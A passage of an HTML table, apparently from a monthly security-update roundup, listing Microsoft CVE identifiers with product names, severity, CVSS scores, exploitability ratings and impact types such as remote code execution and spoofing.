  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45650"><span>CVE-2026-45650</span></a></td>
  <td width="256" class="xl68">Microsoft Bing Search
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45637"><span>CVE-2026-45637</span></a></td>
  <td width="256" class="xl68">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45647"><span>CVE-2026-45647</span></a></td>
  <td width="256" class="xl68">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40371"><span>CVE-2026-40371</span></a></td>
  <td width="256" class="xl68">Microsoft Dynamics 365
  (on-premises) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44822"><span>CVE-2026-44822</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.2</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45455"><span>CVE-2026-45455</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45469"><span>CVE-2026-45469</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44817"><span>CVE-2026-44817</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44818"><span>CVE-2026-44818</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44820"><span>CVE-2026-44820</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44823"><span>CVE-2026-44823</span></a></td>
  <td width="256" class="xl68">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45459"><span>CVE-2026-45459</span></a></td>
  <td width="256" class="xl68">Microsoft Excel
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45504"><span>CVE-2026-45504</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45502"><span>CVE-2026-45502</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45503"><span>CVE-2026-45503</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45583"><span>CVE-2026-45583</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45500"><span>CVE-2026-45500</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45501"><span>CVE-2026-45501</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47631"><span>CVE-2026-47631</span></a></td>
  <td width="256" class="xl68">Microsoft Exchange
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42986"><span>CVE-2026-42986</span></a></td>
  <td width="256" class="xl68">Microsoft Graphics
  Component Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-41092"><span>CVE-2026-41092</span></a></td>
  <td width="256" class="xl68">Microsoft Kinect
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45644"><span>CVE-2026-45644</span></a></td>
  <td width="256" class="xl68">Microsoft Live Share
  Canvas SDK Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47293"><span>CVE-2026-47293</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Click-To-Run Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45485"><span>CVE-2026-45485</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44821"><span>CVE-2026-44821</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45483"><span>CVE-2026-45483</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Project Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45475"><span>CVE-2026-45475</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44819"><span>CVE-2026-44819</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-44824"><span>CVE-2026-44824</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45645"><span>CVE-2026-45645</span></a></td>
  <td width="256" class="xl68">Microsoft Office
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49161"><span>CVE-2026-49161</span></a></td>
  <td width="256" class="xl68">Microsoft PC Manager
  Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42902"><span>CVE-2026-42902</span></a></td>
  <td width="256" class="xl68">Microsoft PowerToys
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45484"><span>CVE-2026-45484</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45454"><span>CVE-2026-45454</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47298"><span>CVE-2026-47298</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45467"><span>CVE-2026-45467</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45468"><span>CVE-2026-45468</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45479"><span>CVE-2026-45479</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45453"><span>CVE-2026-45453</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47636"><span>CVE-2026-47636</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47637"><span>CVE-2026-47637</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47638"><span>CVE-2026-47638</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47639"><span>CVE-2026-47639</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47641"><span>CVE-2026-47641</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-33113"><span>CVE-2026-33113</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45462"><span>CVE-2026-45462</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45464"><span>CVE-2026-45464</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45465"><span>CVE-2026-45465</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47634"><span>CVE-2026-47634</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47640"><span>CVE-2026-47640</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45481"><span>CVE-2026-45481</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48560"><span>CVE-2026-48560</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48562"><span>CVE-2026-48562</span></a></td>
  <td width="256" class="xl68">Microsoft SharePoint
  Server Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">4.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42835"><span>CVE-2026-42835</span></a></td>
  <td width="256" class="xl68">Microsoft Teams for
  Android Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45606"><span>CVE-2026-45606</span></a></td>
  <td width="256" class="xl68">Microsoft UxTheme
  Library (uxtheme.dll) Denial of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45482"><span>CVE-2026-45482</span></a></td>
  <td width="256" class="xl68">Microsoft Visual
  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.4</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45466"><span>CVE-2026-45466</span></a></td>
  <td width="256" class="xl68">Microsoft Word
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">3.3</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45471"><span>CVE-2026-45471</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45486"><span>CVE-2026-45486</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45643"><span>CVE-2026-45643</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45457"><span>CVE-2026-45457</span></a></td>
  <td width="256" class="xl68">Microsoft Word Remote
  Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42980"><span>CVE-2026-42980</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42916"><span>CVE-2026-42916</span></a></td>
  <td width="256" class="xl68">NT OS Kernel Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45649"><span>CVE-2026-45649</span></a></td>
  <td width="256" class="xl68">Office for Android
  Spoofing Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47653"><span>CVE-2026-47653</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42909"><span>CVE-2026-42909</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42913"><span>CVE-2026-42913</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42993"><span>CVE-2026-42993</span></a></td>
  <td width="256" class="xl68">Remote Desktop Client
  Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45588"><span>CVE-2026-45588</span></a></td>
  <td width="256" class="xl68">Secure Boot Security
  Feature Bypass Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.9</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
